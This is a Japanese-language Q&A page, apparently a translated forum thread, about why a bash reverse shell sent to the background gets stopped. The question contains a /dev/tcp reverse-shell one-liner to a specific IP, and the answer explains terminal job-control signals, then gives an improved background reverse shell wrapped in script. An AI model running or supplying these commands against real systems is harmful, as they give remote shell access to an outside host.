バックグラウンドでシェルを作成する

バックグラウンドでシェルを作成する

SSHを介して接続すると、次の行を使用してリモートシェルを作成できます。

bash -i >& /dev/tcp/10.1.1.20/443 0>&1

しかし、これはプロセスが完了するのを待っている現在のシェルを「停止」させます。だから新しいプロセスを作りたいです。 BG演算子を使用しようとすると、&何らかの理由でbgプロセスがすぐに停止します。

root@debian:~# bash -i >& /dev/tcp/10.1.1.20/443 0>&1 &
[5] 2565
root@debian:~# 

[5]+  Stopped                 bash -i &> /dev/tcp/10.1.1.20/443 0>&1

私が努力しても同じです。bash -c "bash -i..."

現在のシェルに影響を与えずに新しいプロセスでbashを生成する方法は?

ベストアンサー1

これは、対話型シェルプロセスが制御端末のフォアグラウンドプロセスグループにあることを確認し、そうでない場合は停止するように指示するためSIGTTINに自己終了するためです。 stderrとstdinが別の場所にリダイレクトされると、/dev/ttyfdを制御端末にインポートするために直接開きます。

ダッシュでこれを行うコードは次のとおりです。しかし、bashは同じことをします。

                do { /* while we are in the background */
                        if ((pgrp = tcgetpgrp(fd)) < 0) {
out:
                                sh_warnx("can't access tty; job control turned off");
                                mflag = on = 0;
                                goto close;
                        }
                        if (pgrp == getpgrp())
                                break;
                        killpg(0, SIGTTIN);
                } while (1);

他のファイルからシェルの標準fdをリダイレクトしても、制御端末から切り離されません。

OPのいわゆる「リモートシェル」トリックはまったく信頼できないか実用的ではありません。次のように擬似端末を生成するコマンドでラップすると、より良い運を享受できますscript

script -c 'bash -i' /dev/null </dev/tcp/somehost/someport >&0 2>&1 &

おすすめ記事